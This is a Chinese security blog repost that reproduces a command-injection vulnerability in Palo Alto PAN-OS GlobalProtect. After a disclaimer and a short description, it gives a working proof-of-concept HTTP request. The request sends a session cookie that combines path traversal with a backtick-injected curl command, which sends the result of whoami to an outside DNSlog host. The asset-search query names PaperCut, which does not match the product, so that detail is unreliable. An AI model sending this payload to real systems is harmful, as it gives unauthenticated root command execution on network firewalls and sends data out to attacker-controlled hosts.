漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入

admin 2024年5月18日01:23:00评论5 views字数 729阅读2分25秒阅读模式

免责声明

我爱林攻防研究院的技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

漏洞描述

Palo Alto Networks PAN-OS是一套专为其下一代防火墙 (NGFW) 产品开发的操作系统,提供了全面的网络安全功能,包括威胁防护,网络分段,远程访问等;GlobalProtect是Palo Alto Networks一套远程访问 VPN 解决方案,集成于PAN-OS系统中。GlobalProtect 命令注入漏洞情报。未经身份验证的攻击者可以利用该漏洞以ROOT权限执行任意命令。

漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入

资产确定

fofa: body="PaperCut"

漏洞复现

1.利用如下POC进行Dnslog外带

POST /ssl-vpn/hipreport.esp HTTP/1.1Host: {{Hostname}}Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/y`curl${IFS}http://utkmwudrkm.dgrh3.cn?test=$(whoami)`;Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入

漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入

如有侵权,请联系删除

原文始发于微信公众号(我爱林):漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日01:23:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 || Palo Alto Networks PAN-OS GlobalProtect 命令注入https://cn-sec.com/archives/2752971.html

发表评论

匿名网友 填写信息